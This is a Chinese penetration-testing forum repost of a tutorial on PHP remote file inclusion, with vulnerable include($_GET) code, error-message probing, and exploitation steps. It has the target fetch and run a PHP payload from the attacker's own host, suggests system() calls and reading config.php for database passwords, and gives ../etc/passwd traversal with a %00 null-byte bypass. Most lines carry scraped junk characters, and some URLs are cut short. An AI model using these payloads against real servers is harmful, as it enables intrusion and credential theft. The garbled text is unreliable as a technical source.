中国网络渗透测试联盟

标题: PHP远程包含 [打印本页]

作者: admin    时间: 2012-9-15 14:06
标题: PHP远程包含

6 l0 o' I4 g" K$ _php远端档包含漏洞基本
5 {/ [* [1 B" C# L) }  G3 z这篇文章里我会告诉php远程档包含漏洞的原理,初涉程式师的人必看。
+ ]% \9 l* h9 u1 P! g% k% }本帖隐藏的内容需要回复才可以浏览% Y, N7 n( S6 S: S; ]& S' l
首先的问题是,什么才是”远程档包含漏洞“?简要的回答是伺服器通过php的任意档包含过滤不严,从而去执行一个恶意档,这是个程式师过滤上的问题,请记住,所有的cgi程式都有这样的bug。
0 N! e1 q% R9 J1.找出bug:
- V- D& b, r7 F: w* j为了发现目标,我们首先要知道包含两个字的含义,在所有语言里(大多数)都有这种方法包含任意的档。在php里,我们使用include()函数,它的工作流程:
- X% |% K, X- ]如果你在Main.php里包含include1.php,我将这样写include("include1.php").不是很科学,但你要知道其中的道理。  r4 N- e8 k, z0 I
我们先看这个,当用户输入通过后就包含档,也就是: F! k/ l# G( U6 S
if ($_GET) {( i! [" {2 d8 s
include $_GET;
- Q  d- I8 V: ?  y% @( m4 d} else {
7 R2 `- H, K6 ^include "home.php";- g" \6 a  c( H
}9 |+ ~9 n+ b$ p2 H& @
这种结构在动态网站里是常见的,问题是它允许这样http://www.target.com /explame.php?page=main.php或者http://www.target.com/explame.php? page=downloads.php来查看。无论如何,如果你的程式里有这样的bug也很悲哀了,只能怪你,尽管只是一句过滤的问题,但就是这一句过滤就有了Script hacker.在zone-h.org的调查里,档包含的攻击率占到9.4%,足够我们引起重视,而且它也不是一两天的问题,几年前就有了,但到了今天,一批一批程式师依旧走老路重走,所以就有了这篇文章,在2004年写这样的文章已经老掉牙,但我还是要写,毕竟牢骚能让人收益的时候就不叫牢骚了。# S5 R1 w! _3 W) `; e9 o! `8 F: ?
2.测试2 i6 x0 P7 ]( w! n; A% \
这里有个远端档包含的例子,目的只有一个,为了你的程式安全,我们来看具体的
$ d; D' E& _) s5 Mhttp://www.target.com/explame.php?page=zizzy! s" [! F+ m" s3 F3 {: \
Warning: main(zizzy): failed to open stream: No such file or directory in /var/www/htdocs/index.php on line 3. S; Q. o7 J$ g5 M7 q$ \! ~" Q
Warning: main(): Failed opening 'zizzy' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/htdocs/index.php on line 3
5 j( |0 }& X& X! Vphp输出的这些错误资讯告诉我们,程式去包含档/var/www/htdocs/zizzy,但没找到,看见了吧,No such file or directory没这样的档,现在理解了吧。" W! A) u# |4 K: P" o: P' P: F( B
3.利用0 o" A( m0 }, w) k. F' t
php确实很好,可以远端调用档,那我创建一个yeah.txt,放在我的站上http://www.mysite.com/yeah.txt.内容这样( g1 ^5 ^. A  Y; N% r
<?
9 X+ F. z4 h7 d3 g* a, E3 b2 d) Fecho "Wow,test!";
* L( R; V3 e8 I! L?>1 L2 B5 E+ t+ v% e; t8 G3 R
那么http://www.target.com/explame.php?pa...e.com/yeah.txt
) L4 ^% R9 ]" @( ^OK,回显Wow,test!,这样就执行了。读取config.php也不难吧,里面放了mysql密码啊。把yeah.txt写成<? phpinfo; ?>看看,写成system()去试试,有什么感想,在过分点,这样提交page=../../../../.. /../../etc/passwd。知道什么叫真正的包含了吧。' C0 o2 |$ q# o/ w$ ~: z- H1 P* e
4.另一种$ d: X; f* [5 _- N/ v
有时程式师换种写法,写成这样,限制了包含范围
  A4 V$ }9 p( C. xif ($_GET) {
8 C4 N, \5 j7 u! c; H/ @include "$_GET.php";
) T* [4 G& m) y* c} else {9 C9 G4 I% W+ i  ~* j8 W2 ^
include "home.php";0 b6 c* W% s/ P& p+ _
}
7 @: B4 ?% @; Y8 M, l- h3 U我们提交http://www.target.com/explame.php?pa...e.com/yeah.txt! p! v4 W- [- f2 f
Warning: main(http://www.mysite.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.php on line 3# i) p2 X- C) l8 ~
Warning: main(): Failed opening 'http://www.mysite.com/yeah.txt.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/htdocs /explame.php on line 3
: ]; H/ U2 h* e! G% n# ]包含失败了,限制了尾码名为php,那mysite.com的yeah.txt改为yeah.php,ok,照样执行了
% p1 @3 p# u$ \那passwd怎么办7 j; R# q1 l, a& n+ g8 L' ?% A
Warning: main(../../../../../../../etc/passwd.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var /www/htdocs/explame.php on line 3% `" c1 D' c( K% a! s6 Y" _
Warning: main(): Failed opening '../../../../../../../etc/passwd.php' for inclusion (include_path='.:/usr/local/lib /php') in /var/www/htdocs/explame.php on line 3
4 b( N# |0 X0 `" G8 V+ k3 ~: W  q2 S4 {在这里使用个NUL字元,也就是%00来跳过检测& B# Y6 F# d6 y4 L
http://www.target.com/explame.php?pa.../etc/passwd%00
4 \1 y7 ]! U- d8 S




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2